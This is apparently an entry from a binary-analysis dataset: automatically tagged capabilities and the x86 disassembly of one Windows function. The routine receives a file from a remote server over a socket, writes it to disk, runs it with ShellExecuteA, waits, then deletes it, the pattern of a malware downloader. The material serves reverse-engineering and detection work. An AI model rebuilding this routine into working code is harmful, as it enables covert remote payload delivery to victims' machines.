Function at 0x44f19c
Capabilities:
Check if file exists
Create process on windows
Delete file
Download and write a file
Get file attributes
Get file size
Receive and write data from server to client
Receive data
Receive data on socket
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x640
mov eax, dword [0x45b0fc]
xor eax, esp
mov dword [esp + 0x63c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x64c]
push esi
mov esi, dword [esp + 0x654]
push edi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push ebp
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getpeername]
mov edx, dword [esp + 0x20]
push 0x20
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push eax
lea eax, [esp + 0x34]
push eax
call edi
xor ebx, ebx
cmp esi, ebx
je 0x44f230
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x44f201
sub eax, edx
je 0x44f230
cmp byte [esi], 0x2f
lea eax, [esp + 0x24c]
je 0x44f227
mov byte [esp + 0x24c], 0x2f
lea eax, [esp + 0x24d]
push 0x400
push esi
push eax
jmp 0x44f23f
push 1
push 0x458590
lea ecx, [esp + 0x254]
push ecx
call edi
push 0x458588
push ebp
call fcn.0044ecec
lea edx, [esp + 0x254]
push edx
push ebp
call fcn.0044ecec
push 0x45857c
push ebp
call fcn.0044ecec
push 0x4584ec
push ebp
call fcn.0044ecec
push 0x4584d0
push ebp
call fcn.0044ecec
push 0x4584ac
push ebp
call fcn.0044ecec
push 0x458490
push ebp
call fcn.0044ecec
push 0x458488
push ebp
call fcn.0044ecec
add esp, 0x40
lea eax, [esp + 0x2c]
push eax
push ebp
call fcn.0044ecec
push 0x458484
push ebp
call fcn.0044ecec
push 0x45846c
push ebp
call fcn.0044ecec
push 0x458484
push ebp
call fcn.0044ecec
push 0x458484
push ebp
call fcn.0044ecec
add esp, 0x28
xor esi, esi
xor edi, edi
mov dword [esp + 0x14], ebx
push ebx
push 1
lea ecx, [esp + 0x54]
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jge 0x44f2f9
mov edi, 1
mov ecx, dword [esp + 0x14]
mov al, byte [esp + 0x4c]
mov byte [esp + ecx + 0x24c], al
inc ecx
mov dword [esp + 0x14], ecx
cmp al, 0xa
je 0x44f318
cmp al, 0xd
je 0x44f323
inc esi
jmp 0x44f323
cmp esi, ebx
jne 0x44f321
mov edi, 1
xor esi, esi
cmp edi, ebx
je 0x44f2e1
lea edx, [esp + 0x24c]
push 0x458458
push edx
mov dword [esp + 0x18], ebx
call fcn.00450fbc
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x44f4fc
add esi, 0x10
push 0xd
push esi
call fcn.00450efc
add esp, 8
cmp eax, ebx
je 0x44f4fc
push esi
mov byte [eax], bl
call fcn.0044ed1c
push 0x200
mov ebx, eax
lea eax, [esp + 0x54]
push 0
push eax
call fcn.0045086c
mov eax, dword [esp + 0x66c]
lea edx, [esp + 0x5c]
add esp, 0x10
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x44f38c
lea edi, [esp + 0x4c]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x44f39c
mov cx, word [0x458590]
mov eax, esi
mov word [edi], cx
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x44f3b2
lea edi, [esp + 0x4c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x44f3c2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4c]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x44f3dd
mov edx, dword [0x458450]
mov cl, byte [0x458454]
mov dword [eax], edx
push 0x80
lea edx, [esp + 0x50]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x44f431
xor al, al
jmp 0x44f4fe
push ebx
call fcn.00450b01
add esp, 4
mov esi, eax
test ebx, ebx
jle 0x44f47b
push 0
cmp ebx, 4
jbe 0x44f44e
push 0x200
jmp 0x44f44f
push ebx
push esi
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x10], eax
test eax, eax
jl 0x44f47b
push 0
lea ecx, [esp + 0x14]
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x44f47b
sub ebx, dword [esp + 0x10]
test ebx, ebx
jg 0x44f440
push esi
call fcn.00450b66
add esp, 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, dword [esp + 0x660]
jne 0x44f4ee
lea edx, [esp + 0x24c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x44f42a
cmp eax, 0x10
je 0x44f42a
push 5
push 0
push 0
lea eax, [esp + 0x258]
push eax
push 0x4582c4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x44f42a
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 1
mov ecx, dword [esp + 0x64c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450674
add esp, 0x640
ret